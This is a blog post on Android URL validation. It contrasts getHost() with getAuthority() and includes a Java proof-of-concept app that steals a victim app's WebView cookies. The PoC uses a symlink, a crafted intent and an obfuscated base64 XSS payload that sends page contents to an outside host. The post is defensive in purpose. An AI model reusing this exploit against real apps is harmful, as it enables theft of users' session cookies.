Verify URI by Authority, not Host

Bram Yeh
2 min readJun 17, 2019

--

In the previous blog, Prefer java.net.URI than android.net.Uri, that introduced security issue we found because of android.net.Uri doesn’t recognize \ as /. However, even using URI is not secure enough to verify this URL is valid or not.

A hierarchical URI is subject to further parsing according to the syntax

[scheme:][//authority][path][?query][#fragment]

And a server-based authority component of a hierarchical URI is according to the familiar syntax

[user-info@]host[:port]

For example

String url = “http://fack.website\\\\@tw.buy.yahoo.com/fashionbuy";

Uri.parse(url).getHost() will return tw.buy.yahoo.com, which is valid in our app, so we might unsafely webView.loadUrl(url) or other executions with this trick.

It’s easy to protect by this attack by using getAuthority() that returns fack.website%5C%5C@tw.buy.yahoo.com, and we can verify that is not our domain and discard it.

Theft of file with cookies via XSS

Why should we improve the way how to validate the URL? For example,

private String setCookieFile;
private String symlinkFile;

private static final String VICTIM_PACKAGE = ...;
private static final String VICTIM_ACTIVITY = ...;

protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);

setCookieFile = getRoot() + "/setCookie.html";
symlinkFile = getRoot() + "/symlink.html";

payloadFile();
symlink();
grantReadRecursive(new File(getRoot()));

Intent intent = new Intent();
intent.setClassName(VICTIM_PACKAGE, VICTIM_ACTIVITY);
// If hacker found a way let how your activity handle intend to open in-app webview
intent.putExtra("intent_content", "{\"content\":{\"uri\":\"file:\\/\\/{your valid website}" + setCookieFile.replace("/", "\\/") + "\"}}");
startActivity(intent);
}

void payloadFile() {
try {
PrintWriter writer = new PrintWriter(new File(setCookieFile));
writer.println("<h1>this is theft</h1><script>"); writer.println("eval(atob('ZG9jdW1lbnQuY29va2llID0gInggPSA8aW1nIHNyYz1cInhcIiBvbmVycm9yPVwiZXZhbChhdG9iKCdkbUZ5SUdsdFp5QTlJR1J2WTNWdFpXNTBMbU55WldGMFpVVnNaVzFsYm5Rb0ltbHRaeUlwT3dwcGJXY3VjM0pqSUQwZ0ltaDBkSEE2THk5aVlYTmxOalF1Y25VdmQyOTNMbXB3Wno5NmFHczlJaUFySUdWdVkyOWtaVlZTU1VOdmJYQnZibVZ1ZENoa2IyTjFiV1Z1ZEM1blpYUkZiR1Z0Wlc1MGMwSjVWR0ZuVG1GdFpTZ2lhSFJ0YkNJcFd6QmRMbWx1Ym1WeVNGUk5UQ2s3JykpXCI+Ijs='));");
writer.println("setTimeout(\"location.href='file://{valid url}" + symlinkFile + "'\", 45000);");
writer.println("</script>");
writer.close();
}
catch (Exception e) {
throw new RuntimeException(e);
}
}

void symlink() {
new File(symlinkFile).delete();
try {
Runtime.getRuntime().exec("ln -s /data/data/" + VICTIM_PACKAGE + "/app_webview/Cookies " + symlinkFile).waitFor();
}
catch (Exception e) {
throw new RuntimeException(e);
}
}

String getRoot() {
return "/data/data/" + getPackageName();
}

private void grantReadRecursive(File dist) {
dist.setReadable(true, false);
if(dist.isDirectory()) {
for(File child : dist.listFiles()) {
grantReadRecursive(child);
}
}
}

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

--

--

Bram Yeh
Bram Yeh

Written by Bram Yeh

Lead Android & iOS Mobile Engineer at Yahoo (Verizon Media) Taiwan https://www.linkedin.com/in/hanruyeh/

Responses (1)

Write a response